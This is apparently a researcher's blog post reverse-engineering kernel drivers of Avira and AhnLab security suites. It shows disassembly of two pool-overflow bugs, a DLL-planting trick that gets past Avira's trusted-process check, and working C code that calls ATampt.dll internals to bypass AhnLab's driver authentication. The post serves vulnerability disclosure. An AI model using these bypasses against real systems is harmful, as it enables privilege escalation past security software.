Another journey to antivirus escalation (Bypassing Driver Filters)

by Daniel Moghimi


Posted on October 20, 2013 at 1:23 PM


This post is recovered from my old blog

Prior to the concept of my recent post about antivirus privilege escalation I continued trying other products. One of the interesting thing about such products are the heavy usage of kernel level drivers. And because Drivers are delicate points in security of such products, the vendors are so aware of the possibility of attack against inputs could be delivered through Device IO Control requests. As a matter of fact, they implement various counter measurements to reduce the chance of tampering with such drivers. In this post I am going to share my finding in bypass of Driver Filters of two various products. After the driver security filter bypass, I had larger attack surface so it was possible to find vulnerabilities with seeming ease.

My finding is about the latest version of Avira Internet security and Ahnlab V3 internet security products.

Avira Internet Security

Avira is one of the well-known antivirus companies with their internet security suite products. When I installed the software in my box, I checked on some of the installed drivers. Between the drivers module I could find out that avipbb.sys has a very large routine for handling Device IO Control requests. Here is the graph of routine at address 0x170C8 of Avipbb.sys (File Description: Avira Driver for Security Enhancement)

 
1

After some tests and review of the disassembly of this function I noticed that although it supports lots of control codes but I don’t have the ability to use all of them. At the very beginning of this function there is a check against some control codes:

.text:000170E3                 mov     edx, 22245Ch
          .text:000170E8                 lea     eax, [edx+38h]
          .text:000170EB                 lea     ecx, [edx+68h]
          .text:000170EE                 cmp     esi, 222458h
          .text:000170F4                 jz      short loc_1715E
          .text:000170F6                 cmp     esi, edx
          .text:000170F8                 jz      short loc_1715E
          .text:000170FA                 cmp     esi, 222490h
          .text:00017100                 jz      short loc_1715E
          .text:00017102                 cmp     esi, eax
          .text:00017104                 jz      loc_17571
          .text:0001710A                 cmp     esi, 222404h
          .text:00017110                 jz      short loc_1715E
          .text:00017112                 cmp     esi, 222498h
          .text:00017118                 jz      short loc_1715E
          .text:0001711A                 cmp     esi, ecx
          .text:0001711C                 jz      short loc_1715E
          .text:0001711E                 cmp     esi, 2224CCh
          .text:00017124                 jz      short loc_1715E
And then it checks if the current thread is a System thread or not:
.text:00017126                 call    ds:KeGetCurrentThread
          .text:0001712C                 push    eax             ; _DWORD
          .text:0001712D                 call    dword_2CDB0     ; issystemthread
          .text:00017133                 test    al, al
          .text:00017135                 jnz     short loc_17153
And checks if the current Process Id is a valid process id by a call to routine at address 0x1144E:
.text:00017137                 call    ds:PsGetCurrentProcessId
          .text:0001713D                 push    eax ; current pid
          .text:0001713E                 call    sub_1144E
          .text:00017143                 test    eax, eax
          .text:00017145                 jnz     short loc_17153
The routine sub_1144E searches the PID against some trusted PIDs available through a linked list at address 0x2E118:
.text:00011456                 xor     bl, bl
          .text:00011458                 call    ds:KeEnterCriticalRegion
          .text:0001145E                 push    1               ; Wait
          .text:00011460                 mov     edi, offset stru_2E0C0
          .text:00011465                 push    edi             ; Resource
          .text:00011466                 call    ds:ExAcquireResourceSharedLite
          .text:0001146C                 mov     esi, dword_2E118
          .text:00011472                 mov     eax, offset dword_2E118 ; Pointer to some linked list  contain trusted processes
Considering this hard check against processes, normal processes are only able to send requests for the following mentioned control codes:
222404h , 222458h , 22245Ch, 222490h, 222498h, 2224CCh
On the other hand, this driver support lots of more control codes only available to a system thread or a trusted process. Being a system thread is not an option but how a process considered to be trusted by avipbb.sys driver is questionable.

By checking the mentioned list of trusted processes, I noticed that the routine sub_1124c gets PID as a parameter value and search the list and in case of non-existence of the passed PID, it sets new record in the list for that PID:

.text:00011308                 mov     eax, dword_2E11C
          .text:0001130D                 mov     dword ptr [edi], offset dword_2E118
          .text:00011313                 mov     [edi+4], eax
          .text:00011316                 mov     [eax], edi
          .text:00011318                 mov     ecx, esi        ; Resource
          .text:0001131A                 mov     dword_2E11C, edi
          .text:00011320                 call    ds:ExReleaseResourceLite
          .text:00011326                 call    ds:KeLeaveCriticalRegion
The routine sub_1124C which is responsible for adding new PID to trusted list is called at the following code of function sub_1653C:
.text:000165C9                 call    sub_17C3C
          .text:000165CE                 call    sub_17BD8
          .text:000165D3                 call    esi ; PsGetCurrentProcessId
          .text:000165D5                 push    eax
          .text:000165D6                 call    ds:IoGetCurrentProcess
          .text:000165DC                 push    eax
          .text:000165DD                 call    sub_1124C
          .text:000165E2                 mov     esi, eax
And it is possible to reach this function by using control code 0x222458:
.text:00017270                 push    edi             ; 0x222458
          .text:00017271                 call    sub_1653C
          .text:00017276                 and     dword_2CBD8, 0
          .text:0001727D                 jmp     loc_1756B
So it may be possible to add the current process to trusted process by using this IO control codes but we haven’t won the game yet. The function sub_1653C does some checks before assignment of the current process as trusted. It gets path of the executable for the process by a call to sub_163E0:
.text:00016590                 call    esi ; PsGetCurrentProcessId
          .text:00016592                 push    eax             ; ReturnLength
          .text:00016593                 call    sub_163E0  ; Get path of Executable for PID
          .text:00016598                 mov     ecx, [ebp+P]
And then it pass the path of the executable to the routine sub_110B6 to check if the executable is related to Avira product or not:
.text:000165AF                 lea     eax, [ebp+var_8]
          .text:000165B2                 push    eax             ; int
          .text:000165B3                 push    dword ptr [ecx+4] ; Path of the executable
          .text:000165B6                 call    sub_110B6 ; Check if Exe is Valid?
The sub_110B6 lead to execution of lots of code such as parsing PE file format and trying to detect some signature in the executable. Analyzing and reversing the code of the signature verification was very boring but in short I found that it uses some hashes like the following for verification:
.rdata:00028578 aAvcs4f3a4200c37o db 'AVCS4F3A4200C37O',0
          .rdata:00028589                 db    0
          .rdata:0002858A                 db    0
          .rdata:0002858B                 db    0
          .rdata:0002858C a62f3ab0132favcse db '62F3AB0132FAVCSE',0
          .rdata:0002859D                 db    0
          .rdata:0002859E                 db    0
          .rdata:0002859F                 db    0
          .rdata:000285A0 aAvsign_0       db 'AVSIGN',0
And the same hashes available in Avira executables (for example: avgnt.exe)
.rdata:00432C18 aAvcs4f3a4200_0 db 'AVCS4F3A4200C37O',0
          .rdata:00432C29                 db    0
          .rdata:00432C2A                 db    0
          .rdata:00432C2B                 db    0
          .rdata:00432C2C a62f3ab0132fa_0 db '62F3AB0132FAVCSE',0
          .rdata:00432C3D                 db    0
          .rdata:00432C3E                 db    0
          .rdata:00432C3F                 db    0
          .rdata:00432C40 aAvsign_0       db 'AVSIGN',0
So the idea is that I should make some executable that pass the signature verification or abuse the executable of the product to bypass the driver filter. The first idea is a bad idea because I am lazy but the second idea:
  1. Execute a copy of a trusted executable (such as avgnt.exe)
  2. Inject some code to the executable
  3. The injected code first request Io control code 0x222458 with proper parameters to make the current process trusted
  4.  Then it has the ability to use the full functionality of the driver and other control codes

As various method of code injections are very suspicious by antiviruses, we have to inject in a stealthy way. avgnt.exe is a UI application that loads mfc100u.dll module. So I made a fake mfc100u module that reside in the same directory of the copied avgnt.exe. So when avgnt.exe tries to load MFC library it loads the fake mfc100u.dll that contains some malicious codes.

2

Avipbb.sys Privilege escalation

After gaining the ability to bypass the driver filter, I found an interesting handler for control code 0x222450. The routine sub_167B4 is responsible for handling this control code and in some part of this routine there is an insecure copying routine leading to a pool overflow condition:

.text:00016975                 lea     eax, [ecx+eax*2]
          .text:00016978                 push    edx             ; size_t
          .text:00016979                 push    eax             ; void *
          .text:0001697A                 movzx   eax, di
          .text:0001697D                 lea     eax, [esi+eax*2+14h]
          .text:00016981                 push    eax             ; void *
          .text:00016982                 call    memcpy
Reaching this vulnerable block needs some special user inputs. Here [link removed] you can see the proof of concept exploit code for this vulnerability which abuse avgnt.exe and control code 0x222458 to bypass the driver filter and exploit the vulnerability in control code 0x222450.

Ahnlab V3 Internet Security

The concept is not only limited to Avira product. Ahnlab V3 is another internet security suite that installs lots of drivers on the system. Here is just some of the drivers that V3 product installs on the system:

No

DriverName

Permission

Description

1

AhnFlt2k

administrators

file system common filter driver for ahnlab product

2

AhnRec2k

administrators

file system recognizer for ahnlab product

3

AhnRghNt

EveryOne        

AhnLab Common registry hook driver

4

AhnSZE

EveryOne        

AhnLab SpyZero Engine Driver

5

AMonHKnt

EveryOne        

AhnLab Network filter friver, level1

6

AMonTDnt

EveryOne        

AhnLab Network filter friver, level2

7

v3Flt2k

EveryOne 

File system filter driver for v3 product

Although most of the drivers can be reached by normal user, there is a generic security filter for most of them that stops anyone from tampering the critical kernel drivers. In this case I am going to discuss v3flt2k driver but the security filter is also implemented by other drivers of the product.

The routine at address 0x196E0 is responsible for handing various IO control requests. At some part of this function there is a call to sub_19A00 which is a very large interface consists of lots of control codes:

123
But the problem is although this is a very large interface, there are some security filters before reaching the call to sub_19A00. Before reaching this code at sub_196E0, there is a call to sub_272B0 to do some form of authentication and in case of invalid credentials, don’t let us pass requests to the mentioned big control code handler:
.text:0001977E                 push    ecx             ; NumberOfBytes
          .text:0001977F                 mov     edx, [ebp+input]
          .text:00019782                 push    edx             ; int
          .text:00019783                 call    sub_272B0
          .text:00019788                 mov     [ebp+var_14], eax
          .text:0001978B                 cmp     [ebp+var_14], 0
          .text:0001978F                 jl      short loc_197ED
 
.text:000197ED loc_197ED:                              ; CODE XREF: IRP_MJ_DEVICE_CONTROL+AFj
          .text:000197ED                 mov     [ebp+var_14], 0C000000Dh
          .text:000197F4                 mov     [ebp+var_8], 0
The authentication is implemented by another routine sub_19600 that handle control codes 0x81000000, 0x81000004, 0x81000008 and is available for anyone:
.text:0001975B                 push    ecx
          .text:0001975C                 mov     edx, [ebp+var_4]
          .text:0001975F                 mov     eax, [edx+18h]
          .text:00019762                 push    eax
          .text:00019763                 call    sub_19600
The authentication implementation and check routine sub_19600 and sub_2272B are based on some time based hashing related to md5 with inputs and outputs of requests. I gave up on deep analysis of the filter, but there are some user codes which can be abused to simply bypass this security feature.

In root directory of the product there are some one to one user mode library to each kernel mode library:

AhnSZE.dll

Ahnsze.sys

V3Flt.dll

V3Flt2k.sys

ATampt.dll

ATamptNt.sys

MeDCore.dll

MeDCoreD.sys

….

Through reversing the user mode library, I found that there is some codes which implements the authentication process. Here is the sub_100068A6 of Atampt.dll that generate some hash value and pass it to control code 0x81000008:

.text:1000691C                 lea     eax, [ebp+Dst]
          .text:1000691F                 push    1Ch             ; nInBufferSize
          .text:10006921                 push    eax             ; lpInBuffer
          .text:10006922                 push    81000000h       ; dwIoControlCode
          .text:10006927                 push    dword ptr [esi] ; hDevice
          .text:10006929                 call    edi ; DeviceIoControl
And also there is another routine sub_10006BC9 that use the previously generated hash of the driver to send a secure IO control requests:
.text:10006CF0                 push    [ebp+lpBytesReturned] ; lpBytesReturned
          .text:10006CF3                 push    [ebp+nOutBufferSize] ; nOutBufferSize
          .text:10006CF6                 push    [ebp+lpOutBuffer] ; lpOutBuffer
          .text:10006CF9                 push    [ebp+nInBufferSize] ; nInBufferSize
          .text:10006CFC                 push    esi             ; lpInBuffer
          .text:10006CFD                 push    [ebp+dwIoControlCode] ; dwIoControlCode
          .text:10006D00                 push    dword ptr [edi] ; hDevice
          .text:10006D02                 call    ds:DeviceIoControl
By analyzing the passed parameters to these two routines, it is possible to abuse this library to bypass security feature of this driver. Here is my code to bypass this security filter of Ahnlab drivers. The function to bypass security filter and send secure device IO requests are as follow:
typedef struct ARGUMENTS
          {
             HANDLE handle; //+0
             BYTE * buffer; //+4
             DWORD unused0; //+8
             DWORD unused1; //+C
             DWORD unused3; //+10
             DWORD unused4; //+10
             BYTE * buffer2; //+14
          }ARGS;
          
          typedef DWORD (*TypeAuthorize)(ARGS * a1);
          typedef DWORD (*TypeSecureIoControl)(ARGS * a1, BOOL someFlag, DWORD dwIoControlCode, BYTE * realInput,size_t Size, LPVOID lpOutBuffer, DWORD nOutBufferSize, LPDWORD lpBytesReturned, LPOVERLAPPED lpOverlapped);
          
          DWORD BypassSecurityFilter(ARGS * args)
          {
             HMODULE hmd = LoadLibraryA("ATampt.dll");
             if(hmd == NULL)
                return GetLastError();
             TypeAuthorize Authorize = (TypeAuthorize)((DWORD)hmd+0x68A6);
             return Authorize(args);
          }
           
          DWORD IoControl(ARGS * args, DWORD dwIoControlCode, BYTE *realInput, 
             size_t Size, LPVOID lpOutBuffer, DWORD nOutBufferSize)
          {
             HMODULE hmd = LoadLibraryA("ATampt.dll");
             if(hmd == NULL)
                return GetLastError();
             TypeSecureIoControl IoCtl = (TypeSecureIoControl)((DWORD)hmd+0x6BC9);
             DWORD BytesReturned = 0;
             return IoCtl(args, TRUE, dwIoControlCode, realInput, Size, lpOutBuffer, nOutBufferSize, &BytesReturned, NULL);
          }

V3flt2k.sys Privilege escalation

After bypassing the filter, I found an interesting handler for control code 0xA337085C:

.text:0001A63B                 mov     eax, [ebp+input]
          .text:0001A63E                 push    eax             ; Data
          .text:0001A63F                 call    SetStringToDrvRegPath_backup_14390
          .text:0001A644                 mov     ecx, [ebp+input]
          .text:0001A647                 push    ecx             ; wchar_t *
          .text:0001A648                 call    V3Quarantine_SetBackupDir_13660
          .text:0001A64D                 test    eax, eax
          .text:0001A64F                 jnz     short loc_1A663
I renamed this function based on the debug outputs. Later V3Quarantine_SetBackupDir_13660 calls another function related to setting backup directory at address 0x133E0:
.text:0001370E loc_1370E:                              ; CODE XREF: V3Quarantine_SetBackupDir_13660+97j
          .text:0001370E                 mov     ecx, [ebp+arg_0]
          .text:00013711                 push    ecx             ; wchar_t *
          .text:00013712                 call    V3Quarantine_SetBackupDir_133E0
          .text:00013717                 mov     [ebp+var_8], eax
The routine allocate some fixed size buffers using ExAllocatePoolWithTag:
loc_1342F:              ; Tag
          push    746E7251h
          push    800h            ; NumberOfBytes
          push    0               ; PoolType
          call    ds:ExAllocatePoolWithTag
          mov     P, eax
          cmp     P, 0
          jnz     short loc_13459
And later it copies the unicode data to this static buffer which cause a pool overflow:
.text:00013468                 mov     edx, [ebp+arg_0]
          .text:0001346B                 push    edx             ; wchar_t *
          .text:0001346C                 call    ds:__imp_wcslen
          .text:00013472                 add     esp, 4
          .text:00013475                 push    eax             ; size_t
          .text:00013476                 mov     eax, [ebp+arg_0]
          .text:00013479                 push    eax             ; wchar_t *
          .text:0001347A                 mov     ecx, P
          .text:00013480                 push    ecx             ; wchar_t *
          .text:00013481                 call    ds:__imp_wcsncpy
Here [link removed] is the exploit code that abuse Atamp.dll to bypass filter and then exploit the pool overflow for privilege escalation.

Conclusion

  •  The complex kernel security filters can be bypassed just by reversing and re-using existing code and libraries.
  • It is better to design the program secure instead of adding junk filters.
  •  Antivirus products are supposed to be good at countering massive attacks but as case of targeted attacks they open new holes to the operating system.